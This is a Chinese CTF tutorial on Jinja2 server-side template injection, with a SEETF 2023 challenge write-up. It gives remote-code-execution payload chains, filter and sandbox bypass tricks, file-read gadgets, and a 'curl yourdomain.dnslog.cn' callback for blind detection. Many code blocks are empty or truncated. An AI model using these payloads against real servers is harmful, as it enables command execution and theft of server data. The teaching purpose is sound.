理论
什么是 SSTI?为什么它是一个漏洞?
什么是模板引擎?
在网站开发中,模板引擎是一种用来生成网页内容的工具。它允许开发者写一个“模板”,模板里可以写一些固定内容,也可以写一些占位符(变量),这些占位符在运行时会被真实数据替换。
比如你有一个模板:
1 | <html> |
当你访问网页时,服务器会把{{ username }}
替换成具体的用户名,比如“小明”,然后给你展示:
1 | <html> |
这里{{ username }}
就是模板语法中的变量占位符。
SSTI 是什么?
SSTI 是 Server-Side Template Injection(服务端模板注入) 的缩写。它是一种安全漏洞。
它发生的情况是:
- 网站接受用户输入(比如用户名、评论、搜索词等)
- 直接把用户输入放到模板里,且没有做任何过滤和限制
- 用户输入中可能包含恶意模板代码
- 服务器在渲染模板时,会把这些恶意代码当成正常模板代码执行
举个简单例子:
假设模板是:
1 | Hello, {{ user_input }}! |
如果正常用户输入小明
,页面会显示Hello, 小明!
。
但如果攻击者输入:
1 | {{ 7 * 7 }} |
服务器会把{{ 7 * 7 }}
当成模板语法执行,计算7乘7,显示Hello, 49!
这个例子很简单,但如果模板引擎功能更强大,攻击者就能执行更多危险操作,比如读取文件、执行命令等。
为什么 SSTI 很危险?
- 服务器代码执行:攻击者可以执行任意代码,可能拿到服务器权限
- 数据泄露:能读取服务器上的敏感信息,比如配置文件、数据库密码
- 破坏系统:可能导致服务器崩溃,或者被用来做更高级的攻击
简单总结
- 模板引擎:用变量和模板语法生成网页内容
- SSTI:用户输入没过滤,恶意模板代码被执行
- 结果:攻击者能控制服务器执行代码,带来安全风险
常见模板引擎及其模板语法特点
为什么要了解不同模板引擎?
因为不同的语言和框架用的模板引擎不同,它们的语法也不完全一样。要判断一个网站是不是存在 SSTI,首先要识别用的是哪种模板引擎,然后才能构造合适的 payload(注入语句)。
常见的模板引擎分类(按语言划分)
编程语言 | 模板引擎 | 特点示例(打印 7*7) |
---|---|---|
Python | Jinja2 | {{ 7*7 }} → 49 |
PHP | Twig | {{ 7*7 }} → 49 |
Ruby | ERB | <%= 7*7 %> → 49 |
Java | Freemarker | ${7*7} → 49 |
Java | Velocity | #set($x = 7*7) $x → 49 |
JavaScript | EJS | <%= 7*7 %> → 49 |
你需要记住的重点(先掌握 Jinja2)
我们最常见、最常练习的 SSTI 题目,一般都是基于 Python 的 Jinja2 模板引擎。
它的语法特点是:
- 变量:
{{ variable }}
- 表达式:
{{ 1+2 }}
- 函数调用:
{{ func() }}
- 控制结构:
{% if ... %}
、{% for ... %}
(但用得较少)
Jinja2 功能强大,漏洞利用空间大,所以我们重点学习它。
Jinja2 的基本利用方式和变量调试方法
判断是否存在 SSTI(测试表达式执行)
如果你看到一个输入框、URL 参数、表单,内容被服务器处理后显示出来,你可以尝试:
1 | {{7*7}} |
如果页面显示:
1 | 49 |
说明服务器把你的内容当成了 Jinja2 模板表达式执行了。
探测变量(寻找“对象”)
Jinja2 是基于 Python 的模板引擎,它有很多内置的对象。即使你无法直接看到系统函数,也可以通过“找父类、找属性”慢慢探索出更多功能。
一个常见的调试技巧是:
1 | {{ ''.__class__ }} |
它会返回:
1 | <class 'str'> |
意思是:你构造了一个空字符串 ''
,然后用 . __class__
找到了它的类,也就是 str
。
到 __mro__
→ 父类列表
1 | {{ ''.__class__.__mro__ }} |
输出会是一个元组(类的继承链):
1 | (<class 'str'>, <class 'object'>) |
这里你已经能访问到 object
类了,它是所有类的父类。
找到所有子类(核心技巧)
1 | {{ ''.__class__.__mro__[1].__subclasses__() }} |
这行代码的意思是:
''.__class__
是str
.__mro__[1]
是object
.__subclasses__()
是object
的所有子类(列表)
这个列表包含了所有 Python 中加载的类,比如:
<class 'warnings.catch_warnings'>
<class 'subprocess.Popen'>
- …
如果你能在这里找到 subprocess.Popen
,你就有机会执行系统命令了!
如何在 Jinja2 中利用 subprocess.Popen
执行命令
思路概览
Jinja2 是基于 Python 的,所以我们目标就是:
✅ 在模板中找到 Python 的某个“可以执行命令”的类,比如:
→ subprocess.Popen
→ 或者 os.system
然后我们通过模板语法调用它们:
1 | {{ 命令执行类("ls", shell=True, stdout=-1).communicate()[0] }} |
怎么找到 subprocess.Popen
?
我们上一部分说到了可以找到所有类的列表:
1 | {{ ''.__class__.__mro__[1].__subclasses__() }} |
这会返回一个很长的列表,其中某一项就是 <class 'subprocess.Popen'>
。
你可以像下面这样枚举看看:
1 | {{ ''.__class__.__mro__[1].__subclasses__()[index] }} |
你可以一个个试,比如:
1 | {{ ''.__class__.__mro__[1].__subclasses__()[408] }} |
只要输出类似:
1 | <class 'subprocess.Popen'> |
你就找到它了!这时候记住这个下标,比如是408。
造 payload 执行命令
找到了 Popen 之后,我们就能:
1 | jinja2 |
解释一下:
shell=True
:允许像终端那样执行命令stdout=-1
:表示捕获输出.communicate()[0]
:获取执行结果
最终,这一段 payload 会在服务端执行 ls
命令,并把结果返回到网页上。
注意事项
- 如果不能使用
shell=True
,可能只能执行二进制命令(麻烦点) - 某些环境中你找不到
subprocess
,但可以找os.system
、eval
等其他方式(我们后面再讲) - 有时候输出是字节串(如:
b'flag.txt\n'
),可以加.decode()
或.strip()
优化显示
总结这一部分
完整攻击流程如下:
1 | jinja2 |
这就是Jinja2 SSTI 命令执行的典型 payload。
更方便地找 subclass + 字符串构造技巧
无引号构造字符串技巧
有时候 WAF(防护系统)会限制你使用引号("
或 '
),比如你不能写:
1 | jinja2 |
这时你可以绕过,用 Python 的字符串构造方式。
方法一:用 chr()
拼接字符串
1 | {{ ''.join([chr(108), chr(115)]) }} |
→ 这会拼出字符串 "ls"
- 108 是
'l'
- 115 是
's'
你可以用这种方法拼出任意命令,比如:
1 | jinja2 |
→ 拼出 cat /flag
方法二:用已知字符串切片
你还可以用已有的字符串来切,比如:
1 | {{ "class"[0] + "open"[1] }} |
→ 拼出 'co'
也可以写成:
1 | {{ ('abcde'*100)[100] }} |
→ 输出某个你想要的字符(用于更复杂绕过)
Jinja2 的沙箱逃逸和函数调用技巧(进阶 SSTI)
在一些环境下,Jinja2 可能启用了“沙箱模式”,意思是:
虽然有模板注入点,但模板语法的功能被“限制”了,不能直接访问敏感对象,比如 __class__
、__subclasses__()
、os
等。
这一部分我们讲的就是:如何在沙箱环境中逃逸出来,继续执行命令或读取文件。
什么是沙箱(sandbox)?
沙箱模式通常启用了一些保护:
- 不允许访问双下划线变量(
__xxx__
) - 不允许访问 Python 的内建函数(如
open()
、eval()
) - 不允许访问系统模块(如
os
、subprocess
)
但其实这些保护并不牢靠,如果存在漏洞,我们可以通过 Jinja2 本身的模板语法逃逸出去。
函数调用逃逸技巧
Jinja2 本身会阻止你访问 __class__
,但它不会阻止你使用 attr()
或 getitem()
等模板函数。
示例:用 attr()
调用被限制的属性
1 | jinja2 |
→ 作用和前面一样,但语法更隐蔽,容易绕过 WAF 或沙箱检查。
沙箱逃逸经典 payload(FileSystemLoader 漏洞)
如果你发现 Jinja2 模板上下文中包含了 **environment**
,那你就有很大机会逃逸!
比如:
1 | jinja2 |
输出了:
1 | bash |
那你可以尝试访问它的环境对象:
1 | jinja2 |
然后构造 payload:
1 | jinja2 |
分析:
self.environment
是当前模板环境. __class__.__init__.__globals__
能拿到环境构造函数的全局变量- 其中包含了
os
模块 .popen('ls').read()
就是执行命令并读取结果!
SSTI 实战技巧与练习方向
出题人常用的 SSTI 套路
套路编号 | 描述 | 示例 |
---|---|---|
T1 | 回显明显 | 输入框或参数直接回显,容易发现漏洞 |
T2 | 绕过黑名单 | 限制了 __class__ 、 subprocess 、 os 等关键字 |
T3 | 没有回显 | 命令执行成功了但没有输出,要用 DNSlog 或文件落地判断 |
T4 | 模板拼接漏洞 | 代码用字符串拼接模板,而不是传入变量 |
T5 | Jinja2 非主线利用 | 不让你用 __subclasses__() ,得用其他方式 RCE,比如 eval 、 get_flashed_messages |
解题流程建议(新手通用)
- 观察页面功能:有没有输入框、参数能被展示出来?
- 测试表达式执行:尝试
{{7*7}}
看是否变成 49 - 确认是哪个模板引擎:常见如 Jinja2、Twig、Velocity,先猜是 Jinja2
- 判断是否存在限制:尝试
.__class__
或.__mro__
是否报错 - 构造命令执行 payload:用
.subclasses__()
+Popen
,或环境对象绕过 - 没有回显怎么办?:
- 尝试命令写文件
/tmp/a.txt
- 尝试 DNS 查询
curl yourdomain.dnslog.cn
- 用
whoami
、id
、pwd
这类命令调试
- 尝试命令写文件
构造更强大的 Payload(读取变量、RCE 等)
在这一部分,我们要开始从简单的 {{7*7}}
,升级到更复杂、更危险的利用,例如:
- 读取服务器上的 Python 变量
- 执行系统命令(比如
ls
、cat /flag
) - 绕过一些黑名单
🔍 第一步:了解你可以访问什么变量
SSTI 的一个核心点是:你可以访问 Jinja2 模板中的变量。
例如:
1 | jinja2 |
这个模板在后端执行时,如果传入了 user="小明"
,就会显示:
1 | nginx |
但是如果你控制了模板内容,就可以尝试访问其他变量,比如:
1 | jinja2 |
这些变量如果存在,你就能拿到其中的值,比如:
1 | jinja2 |
第二步:利用 Python 对象属性穿透执行命令(RCE)
我们目标是:拿到一个系统函数,比如 os.system()
,然后执行命令!
关键利用链:
我们要想办法,从模板中找出一个“函数”,然后不断调用属性或方法,最终找到 os.system
这种“可利用”的危险函数。
经典链条(Jinja2专属)是:
1 | jinja2 |
🔍 解释一下:
''
是一个空字符串.__class__
是它的类,字符串的类是<class 'str'>
.__mro__
是“方法解析顺序”,可以获取其父类[1]
是<class 'object'>
.__subclasses__()
是 object 的所有子类(系统内建的类)
这些子类中有个叫 <class 'subprocess.Popen'>
的类。
我们就可以:
1 | jinja2 |
这个 payload 会执行系统命令 ls
,并返回输出!
怎么找 index?
你可以先把所有子类都列出来:
1 | jinja2 |
然后尝试找出 subprocess.Popen
所在的位置,比如说是第 392 个:
1 | jinja2 |
补充:Jinja2 自带的一些危险函数
你也可以用一些 Jinja2 暴露出来的函数,比如:
1 | jinja2 |
这条链很出名,用的是 cycler
的 __globals__
字典获取 os
模块。
实践建议:
你可以现在在题目中尝试:
1 | jinja2 |
看看能不能列出所有类,或者用:
1 | jinja2 |
试图读一些配置变量。
WAF 绕过技巧(过滤字符怎么继续打 SSTI)
有些比赛或实际应用,为了防御 SSTI,会设置 WAF(Web 应用防火墙),过滤某些关键字符,比如:
__
(双下划线)()
(小括号)[]
(中括号).
(点)import
、os
、eval
等关键词
目标:绕过这些字符限制,依然执行 SSTI Payload
下面是几种常用的绕过思路:
- 利用
attr()
函数绕过.属性名
在 Jinja2 中,你可以用 attr()
代替点运算符:
1 | jinja2 |
或者更通用地写成:
1 | jinja2 |
- 利用
|attr()
和|replace()
绕过__
1 | jinja2 |
如果过滤了 __
,我们可以自己拼出它:
1 | jinja2 |
或者:
1 | jinja2 |
- 利用
join()
/ljust()
拼接关键字
举例:过滤了 os
1 | jinja2 |
如果过滤了 ()
,可以用 |attr
找到 .read
方法,然后用 |safe
或 |join
拼接后调用。
- 利用
dict
、mro
、subclasses()
结合循环尝试找目标类
比如你无法写出完整的:
1 | jinja2 |
你可以遍历:
1 | jinja2 |
- 用 safe 过滤器解码 HTML 实体字符
有些场景中过滤器把 <
和 >
编码了:
1 | html |
🎯 重点总结
绕过目标 | 替代技巧 |
---|---|
. 点号 |
attr() 、 getattr() |
__ |
拼接字符串、replace() |
() |
用 ` |
[] |
用 loop 、 for 遍历对象 |
os |
用拼接:'o'+'s' |
import |
用 __import__() 、拼接、内建遍历等 |
[SEETF 2023]File Uploader 1
https://hackmd.io/@itami/r1BPWhSwn#2file-uploader-1
1 |
|
代码最后这句:
1 | return render_template_string(template) |
这是 Flask 的模板渲染函数之一,它接受一个字符串形式的模板,并执行其中的 Jinja2 模板表达式。
这就比普通的 render_template('index.html')
要危险很多,因为它不是在渲染一个静态 HTML 文件而是动态生成的字符串,里面的内容会被解释执行!
这个字符串是怎么来的?
来看这几句:
1 | template = f""" |
→ 也就是说:用户上传的文件名(**file.filename**
)直接被拼进了模板字符串中,然后被 render_template_string()
渲染了。
这意味着,如果你上传一个文件,文件名中只要包含合法的 Jinja2 模板语法(如 **{{7*7}}**
),它就会被解释执行!
1 | l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] |
1 | 针对过滤的字符,我们可以用:**{% print(...) %} ** |
Jinja2 模板语法分两种括号:
类型 | 写法 | 作用 |
---|---|---|
输出表达式 | {{ ... }} |
把结果“显示”在网页上 |
执行语句 | {% ... %} |
执行某段代码,不自动输出 |
1 | 我们把文件命名为`{% print([].__class__.__base__.__subclasses__()%}` |
得到
然后在 99 找到:
1 | {% print(object.__subclasses__()[99]) %} |
FileLoader
是干嘛的?
它是 Python 内置模块中的一个类,用来 加载 Python 文件。
它的结构大概如下(简化):
1 | python |
你可以看到它的 get_data(path)
方法就是读取文件内容!
参数为什么是 (0, 'flag.txt')
?
你传的是:
1 | .get_data(0, 'flag.txt') |
实际上真正的定义是:
1 | get_data(path: str) |
所以:
- 你只需要传一个参数:路径;
- 但这个类可能做了一些包装,
self.get_data(loader_context, path)
也是可能的; - 所以传一个不影响读取的参数(
None
、0
)也行。
你只要试出来 **哪一类能用 ****.get_data()**
,就可以传参数试着读文件。